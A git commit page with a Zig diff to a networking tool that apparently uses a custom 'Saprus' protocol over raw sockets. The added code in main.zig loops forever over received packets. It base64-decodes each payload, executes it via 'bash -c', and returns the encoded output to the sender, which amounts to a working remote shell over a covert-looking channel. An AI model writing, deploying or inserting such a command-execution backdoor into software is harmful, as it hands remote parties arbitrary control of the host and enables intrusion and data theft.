diff options
| author | Robby Zambito <contact@robbyzambito.me> | 2026-01-19 17:55:54 -0500 |
|---|---|---|
| committer | Robby Zambito <contact@robbyzambito.me> | 2026-01-19 17:55:54 -0500 |
| commit | 41066792625c5cbdf44127190a4a88a06f8cb566 (patch) | |
| tree | db03543604de5a40493f8dac682457a9eb072672 | |
| parent | 01f44949f13de051d864c00050b17e14a4795dc2 (diff) | |
things are SOOOO good....
| -rw-r--r-- | src/main.zig | 54 | ||||
| -rw-r--r-- | src/message.zig | 2 |
2 files changed, 48 insertions, 8 deletions
diff --git a/src/main.zig b/src/main.zig index 2694172..20e80ea 100644 --- a/src/main.zig +++ b/src/main.zig @@ -90,10 +90,6 @@ pub fn main(init: std.process.Init) !void { return error.InvalidArguments; } - // std.debug.print("relay: {s}\n", .{flags.relay orelse "<null>"}); - // std.debug.print("dest: {s}\n", .{flags.dest orelse "<null>"}); - // std.debug.print("connect: {s}\n", .{flags.connect orelse "<null>"}); - const rand = blk: { const io_source: std.Random.IoSource = .{ .io = init.io }; break :blk io_source.interface(); @@ -203,7 +199,7 @@ pub fn main(init: std.process.Init) !void { const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)); // udp dest port should not be 8888 after first const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16)); - const connection: SaprusMessage = .{ + var connection: SaprusMessage = .{ .connection = .{ .src = src, .dest = dest, @@ -216,7 +212,7 @@ pub fn main(init: std.process.Init) !void { try socket.attachSaprusPortFilter(src); var connection_buf: [2048]u8 = undefined; - const connection_bytes = connection.toBytes(&connection_buf); + var connection_bytes = connection.toBytes(&connection_buf); headers.setPayloadLen(connection_bytes.len); var full_msg = blk: { @@ -230,8 +226,7 @@ pub fn main(init: std.process.Init) !void { try socket.send(full_msg); var res_buf: [4096]u8 = undefined; - const res = try socket.receive(&res_buf); - std.debug.print("response: {any}\n", .{res}); + var res = try socket.receive(&res_buf); headers.udp.dst_port = udp_dest_port; @@ -244,6 +239,49 @@ pub fn main(init: std.process.Init) !void { }; try socket.send(full_msg); + while (true) { + res = try socket.receive(&res_buf); + const connection_res = blk: { + const msg: SaprusMessage = try .parse(res[42..]); + break :blk msg.connection; + }; + const b64d = std.base64.standard.Decoder; + var connection_payload_buf: [4096]u8 = undefined; + const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)]; + try b64d.decode(connection_payload, connection_res.payload); + + const child = try std.process.spawn(init.io, .{ + .argv = &.{ "bash", "-c", connection_payload }, + .stdout = .pipe, + .stderr = .pipe, + }); + + var child_stdout: std.ArrayList(u8) = .empty; + defer child_stdout.deinit(init.gpa); + var child_stderr: std.ArrayList(u8) = .empty; + defer child_stderr.deinit(init.gpa); + + try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096); + + const b64e = std.base64.standard.Encoder; + var cmd_output_buf: [4096]u8 = undefined; + const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items); + + connection.connection.payload = cmd_output; + connection_bytes = connection.toBytes(&connection_buf); + headers.setPayloadLen(connection_bytes.len); + + full_msg = blk: { + var msg_buf: [2048]u8 = undefined; + var msg_w: Writer = .fixed(&msg_buf); + msg_w.writeAll(&headers.toBytes()) catch unreachable; + msg_w.writeAll(connection_bytes) catch unreachable; + break :blk msg_w.buffered(); + }; + + try socket.send(full_msg); + } + return; } diff --git a/src/message.zig b/src/message.zig index aaaa521..ff5f648 100644 --- a/src/message.zig +++ b/src/message.zig @@ -28,6 +28,8 @@ pub const Message = union(PacketType) { inline else => |m| m.toBytes(buf), }; } + + pub const parse = message.parse; }; pub const relay_dest_len = 4; |
